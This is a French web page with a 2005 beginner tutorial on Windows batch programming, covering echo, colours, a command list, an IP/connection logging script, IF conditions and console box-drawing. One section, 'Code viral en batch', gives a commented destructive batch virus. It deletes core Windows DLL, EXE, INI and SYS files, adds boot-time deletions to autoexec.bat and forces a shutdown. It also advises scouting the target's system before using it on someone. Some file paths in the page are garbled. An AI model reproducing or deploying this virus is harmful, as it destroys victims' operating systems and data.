ACCUEILFORUMSGALERIEPROJETSTELECHARGEMENTSTUTORIAUXRECHERCHESTATISTIQUESCONTACT
MEMBRES
Pseudo
Pass

Enregistrez-vous vite!
DERNIERS MEMBRES
  TaibiaPompirm
  Neethakzelt
  Oretlystats
  viperprays
  Golmindalin
  Voir la liste des membres
INFORMATIONS
 Aujourd'hui: 946
 Pages vues: 1420791
 Visiteurs actuels: 4
 Membres enregistrs: 1083
PARTENAIRES
 
 Web Proxy pour surfer librement
 Bienvenue sur le site français des scripteurs

  GOOGLE

TUTORIAUX

Programmation BATCH (12/12/2005)
Tutorial écrit par Synorus.


Table des matières


1: Initiation et explication du batch, et liste de différentes commandes


2: Initiation à la boucle IF


3: Code viral en batch


3: Graphisme en batch




1: Explication, initiations, et liste des commandes



Le batch fonctionne uniquement sous Windows (toutes versions) mais nous noterons tout de même qu'il y a des fonctions comme les couleurs, propres aux systèmes à base NT (donc NT, XP et 2000)

Déjà il faut dire que le batch n’est rien de plus qu’une série de commandes Ms-Dos, donc toutes les commandes Ms-Dos que vous connaissez peuvent être utilisées, nous noterons également, qu'il y a des commandes propres au .batch (hors commandes Ms-Dos) près enregistrées dans un fichier, qui des que vous ouvrirais le fichier, seront exécutées une à une.

On peut également, faire des boucles, mais très basiques (c'est pas du C/C quand même hein ! genre, if, for... qui seront abordées dans ce cour


Pour faire un .bat écrivez votre texte dans le bloc note puis sauvez avec l'extension .bat ou .batch ou utilisez un compilo (comme Power Batch).



Commençons par une notion simple, l’echo.

L’echo peut servir à plusieurs trucs, comme:


Echo « texte » affiche du texte

Echo off affiche que les résultats des commandes MS-Dos et non les commandes elles même

@echo off pareil que echo off sauf que la commande echo off est caché elle-même car dans le batch, les commandes sont lut puis une fois lut, exécuter (donc echo off sera affiché avant d’être exécuté, donc ne se cachera pas lui-même) donc un simple echo off cachera toutes les commandes sauf lui alors qu’avez le signe @ il se cachera lui-même.

Echo. Affiche une ligne vide (saute une ligne)


Voilà pour l’echo, nous passons à une notion un peu plus compliquée (même si le batch est très simple il y a forcement des choses plus durs que d’autres



Pour mettre de la couleur dans votre batch, (uniquement Windows NT ) il va falloir mettre une « choses » qui vérifie si l’OS est à base NT et exécute ensuite la commande qui change la couleur de fond et des textes dans la fenêtre MS-Dos.


Voici cet IF:

if not "%os%" =="Windows_NT" goto OSerr

color 0A


Le if not "%os%" =="Windows_NT" goto OSerr testera si l’os est NT, et le color 0A veut dire mettre le fond de la fenêtre en noir et les écritures en vert, explication:


La première valeur définit la couleur de fond du MS-Dos, ici 0 = noir

La deuxième valeur définit la couleur du texte, ici A = vert


Liste avec quelques couleurs : 0 = noir 1 = bleu foncé 2 = vert 3 = bleu gris 4 = marron etc…



Pour rejoindre un répertoire, rien de plus simple tapez le légendaire:

cd C: om du répertoire

Imaginez que vous voulez créer un répertoire dans C:program files

(Sachant que la commande pour créer un répertoire est mkdir)

Vous taperez:

cd Crogram files

mkdir nom-du-répertoire


Ensuite libre cour à votre imagination le batch n’est jamais qu’une série

de commandes Ms-Dos près enregistré dans un fichier, donc vous pouvez mettre un ipconfig et double cliquer pour voir votre ip…



Pour que votre batch ne se ferme pas instantanément il va falloir mettre un truc, mais quoi ? Tout simplement pause à la fin de votre code, le programme attendra ensuite que vous appuyez sur une touche pour se fermer.




Puis voici la liste avec quelques commandes Ms-Dos (par m@ster@ck)


del fichier : cette commande permet de supprimer un fichier.

deltree fichier : supprime un dossier complet.

move fichier : déplace le fichier "fichier".

echo off : désactive l'affichage de ce qui ce passe.

dir c:WINDOWS : affiche le contenu de c:windows.

echo. : saute une ligne.

echo ce que tu veux écrire : écrit ce que vous tapez après echo (dans notre cas il y aura écrit "ce que tu veux écrire").

CLS : efface l'écran.

PAUSE : demande d'appuyer sur une touche pour continuer

C:WINDOWS ON_PROG.EXE: exécute ton_prog.exe

AT: Planifie l'exécution de commande ou programmes sur l'ordinateur

ATTRIB: Affiche ou modifie les attributs d'un fichier

BREAK : Active ou désactive le contrôle étendu de CTRL C

CALLS: Affiche ou modifie les listes de contrôles d'accès aux fichiers.

CALL: appelle un fichier de commande depuis un autre fichier de commande

CD: Modifie le répertoire ou affiche le répertoire en cours

CHCP: Modifie la page de code active ou affiche son numéro.

CHDIR: Modifie le répertoire ou affiche le nom du répertoire en cours

CHKDSK: Vérifie un disque et affiche un relevé d'état

CHKNTFS: Affiche ou modifie la vérification du disque au démarrage

CMD : Lance une nouvelle instance de l'interprétateur de commande de Windows

COLOR: Modifie les couleurs du premier plan et de l'arrière plan de la console

COMP : Compare les contenus de deux fichiers ou groupe de fichiers

COMPACT : Modifie ou affiche la compression des fichiers sur une partition NTFS

CONVERT : Convertit des volumes FAT en volumes NTFS. Vous ne pouvez pas convertir le lecteur en cours d'utilisation.

COPY : Copie un ou plusieurs fichiers.

DATE : Affiche ou modifie la date.

DIR : Liste des fichiers

DISKOMP: Compare les contenus de deux disquettes

DISKCOPY : Copie le contenus d'une disquette sur une autre

ENDLOCAL : Stoppe la localisation des modifications de l'environnement dans un fichier de commandes

ERASE : Supprime un ou plusieurs fichiers.

EXIT : Quitte l'interprétateur de commandes .

FC : Compare deux fichiers ou groupe de fichiers ;et affiche les différences entre eux .

FIND : Cherche une chaîne de caractères dans un ou plusieurs fichiers

FINDSTR : Cherche des chaînes de caractères dans un ou plusieurs fichiers

FOR : Exécute une commande sur chaque fichier d'un groupe de fichiers

FORMAT : Formate un disque pour utilisation avec Windows

FTYPE : Affiche ou modifie les types de fichiers utilisés dans les associations d’extensions

GOTO : Poursuit l'exécution d'un fichier de commandes à une ligne identifiée par une étiquette

GRAFTABL : Permet à Windows d'afficher un jeu de caractères en mode graphique

HELP : Affiche des informations sur les commandes de Windows

IF : Effectue un traitement conditionnel dans un fichier de commande

LABEL : Crée, modifié ou supprime le nom de volume d'un disque

MD : Crée un répertoire

MODE : Configure un périphérique du système

MORE : Affiche la sortie écran par écran

MOVE : Déplace un ou plusieurs fichiers d'un répertoire à un autre

PATH : Affiche ou définit le chemin de recherche des fichiers exécutables

POPD : Restaure la valeur précédente du répertoire courant enregistré par PUSHD

PRINT : Imprime un fichier texte

PROMPT : Modifie l'invite de commande de Windows

PUSHD : Enregistre le répertoire courant puis le modifie

RD : Supprime un répertoire

RECOVER : Récupère l'information lisible d'un disque défectueux

REM : Insère un commentaire dans un fichier de commandes ou CONFIG.SYS.

REN : Renomme un ou plusieurs fichiers

SET : Affiche, définit ou supprime des variables d'environnement Windows

SETLOCAL : Commence la localisation des changements de l'environnement dans un fichier de commandes

SHIFT : Modifie la position des paramètres remplaçables dans un fichier de commandes

SORT : Trie les éléments en entrée

SUBST : Affecte une lettre de lecteur à un chemin d'accès



Et nous finissons par un exemple de code en batch, bonne fin de lecture..


Pour compiler le programme suivant, mettez le dans le bloc note et sauvez le avec une extension .bat ou alors dans Power batch.


Code pour Win XP:


@Echo OFF

TITLE Bienvenue sur Connexions Power...

if not "%os%" =="Windows_NT" goto OSerr

color 0A

ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»

ECHO º Connexions Power º Donne votre IP et liste les connexions de votre PC

ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ECHO.

ECHO.

ipconfig

ECHO.

ECHO ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

ECHO.

netstat

ECHO.

ECHO ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

ECHO.

ECHO Connexions Power garde des fichiers log des activités‚es et de vos Ips

ECHO Crogram FilesConnexions-Power.

ECHO.

cd Crogram Files

mkdir Connexions-Power

cd Crogram FilesConnexions-Power

ipconfig >> Ips.txt

netstat >> Connexions.txt

PAUSE




Alors, maintenant, on va commenter ce code


C’est un batch qui, des que vous cliquerais dessus, vous donnera votre IP et vous montrera les connexions de votre PC (j’ai pris cet exemple car je me sers souvent de ces commandes)



TITLE donne un titre à la fenêtre Ms-Dos (en haut à gauche)


@ECHO off

Veut dire: cacher tout le texte (les commandes entrées etc… et n’afficher que le résultat) le Echo off cache tout, sauf lui-même et le @ cache Echo off (vous comprenez ?)


if not "%os%" =="Windows_NT" goto Oserr

color 0A

Veut dire, que si l’OS est à base NT, le fond de la fenêtre ms-dos, sera noir et les écritures, vertes.


ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»

ECHO º Connexions Power º Donne votre IP et liste les connexions de votre PC

ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Affiche un cadre autour de Connexions Power et marque « Donne votre IP et liste les connexions de votre PC » à droite du cadre.


ECHO.

Veut dire, sauter une ligne


Ensuite, ipconfig et affiche votre IP et netstat affiche vos connexions.


cd Crogram Files

mkdir Connexions-Power

cd Crogram FilesConnexions-Power

Veut dire: aller dans le répertoire program files, créer un fichier Connexions Power, puis allez dans ce dossier et attendre les instructions.


ipconfig >> Ips.txt

netstat >> Connexions.txt

Veut dire, à chaque ouverture, loguer les instructions affichées par ces deux commandes les mettre dans un .txt et mettre ce .txt dans le dossier Power-Connexions que l’on vient de créer.


Pause

Veut dire attendre que l’utilisateur tape sur une touche et quitter le programme.



Voilà , j’espère que ce petit code commenté vous aura servit et vous aura apprit quelques choses, j’attends vos commentaires






2: Initiation à la boucle IF



Dans cette partie, je vais essayer de vous faire une petite initiation au boucle IF et FOR dans les batch (j’estime qu’il n’y a plus besoin de code source, pour vous faire des exemples, si vous avez lut la première partie vous avez un minimum d’autonomie)



IF


Cette commande sert à une chose bien utile: si une condition est remplie (comme par exemple, imaginons le programme de la section précédente, nous allons dire que si votre IP est celle si: 212.35.25.48 il se produira une chose, si elle n’est pas celle ci, l’instruction sensée s’exécuter ne s’exécute pas (bien sur, mon exemple est un mauvais exemple car il ne sert à rien dans un programme d’exécute un programme si votre IP est celle ci, quoi que si vous avez une IP et si vous voulez voir si elle a changé


Voici sa syntaxe: If « condition » == « valeur » action


Nous allons prendre comme exemple encore mon code précédent:


if not "%os%" =="Windows_NT" goto OSerr

color 0A


Vous voyez que si l’OS est à base NT, la commande color 0A sera exécutées, on la passe, voilà c’est aussi simple que ça






3: Code viral en batch



Exemple commenté d’un virus en .bat :

@echo off //désactive l’affichage à l’ecran
del c :windows*.dll // del des DLLs
del c :windowssystem*.dll //del des DLLs
del c :windows*.exe //del des EXEs
del c :windows*.ini //del INI
del c :windows*.sys //destruction des fichiers vitaux
echo @echo off>>c :autoexec.bat //écriture dans autoexec
del c :windows*.dll>>c :autoexec.bat //del des DLLs en cour d'utilisation (et donc protégées, il faut les enlevées au démarrage)
del c :windowssystem*.dll>>c :autoexec.bat //destruction des fichiers protégés au démarrage
del c:windowsexplorer.exe>>c :autoexec.bat //del de l'explorer



Astuce : Pour les virus nécessitant un redémarrage de la machine pour une destruction totale, rajoutez la commande C:WINDOWSRUNDLL32.EXE user.exe,exitwindows à la fin pour l’arrêt de la machine.
/ ! Attention ! Avant d’utiliser un batch sur une personne, il est conseillé de faire un repérage pour identifier le système. Imaginez que le répertoire du gars s’appelle « windows01 », le virus ne pourra pas y accéder, et là : message d ‘erreur et vous êtes démasqué ! Ces virus ne marche que sous windows ! Des petites astuces existent : remplacer windows par %systemdir%


(J'ai récupéré ce tuto il n'est pas de moi, mais je l'ai trouvé bien (il se sert de autoexec etc... pour infos, son auteur était Shad0w)








3: Graphisme en batch








Vous allez rire, vous allez me dire qu’une fenêtre Ms-Dos ont ne peut pas lui rajouter des graphismes….

Ok, ce ne sera pas une interface graphique, mais des couleurs, des encadrement, et tout ce qui va avec


Sachez que les couleurs sont disponibles uniquement sous Windows NT, XP et 2000.

Il vous faudra rentrer une instruction IF vu précédemment, là voici:


if not "%os%" =="Windows_NT" goto OSerr

color 0A


Mettez cette commande tout au début de votre batch, car vu que les commandes sont exécutées une à une, si vous la mettez à la fin, la fenêtre ne sera pas coloré des qu’elle sera ouverte (testez pour voir)


Si vous copiez cette commande, le fond sera en noir et les couleurs, en vert, vu que j’ai déjà parlé un peu parler du graphisme en chapitre 1, je vais donner ici uniquement une liste des différentes couleurs:


0 = Noir

1 = Bleu foncé

2 = Vert

3 = Bleu gris

4 = Marron

5 = Pourpre

6 = Kaki

7 = Gris clair

8 = Gris

9 = Bleu clair

A = vert clair

B = Cyan

C = Rouge

D = Rose

E = Jaune

F = blanc


Voilà pour cette liste, on passe maintenant aux encadrements j’ai promis en début de de tuto, que j’en reparlerais



On peut encadrer son texte dans un batch, il faut pour cela afficher du texte (donc echo) et rentrer une série de caractères spéciaux interprétés par Ms-Dos comme des bordures regardez :


ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»

ECHO º Connexions Power º

ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ


En regardant bien on en déduit qu’une bordure horizontale n’est qu’une série de Í, je vais détailler ici quel symbole symbolise quelle bordures:


Í = bordure horizontale

º = bordure verticale

É = coin supérieur gauche

È = coin inférieur gauche

» = coin supérieur droit

¼ = coin inférieur droit


En ayant cette légende et en testant (et en vous rapportant au batch de début de tuto) les bordures paraissent et sont simples


Auteur: robot
Hits: 13543
Ajouter un commentaire - Retour aux Tutoriaux

Pour ajouter un commentaire vous devez tre enregistr et identifi.

DERNIERS TUTORIAUX
  Enabler Telnet, RemoteDesktop and Terminal Service
  Programmation BATCH
  Commandes BNC
  Utiliser le logiciel Multiproxy
  Liste des ports
TELECHARGEMENTS
  Vienna
  Transmission
  
  HandBrake
  Développez Magazine Hors série Java
FORUMS
  Easiest Method To Make...
  Easiest Method To Make...
  Easiest Method To Make...
  How easy earn $ 1000 a...
  How earn $ 1000 a week?
GALERIE D'IMAGES
mirc MMORPG beta
 
creation perso 240*320 pour mobilephone
 
FTPlouf
 
2xmoinscher
 
naruto
 
Page affiche en 0.145 sec - Tous droits réservés ©jhdscript.com 2005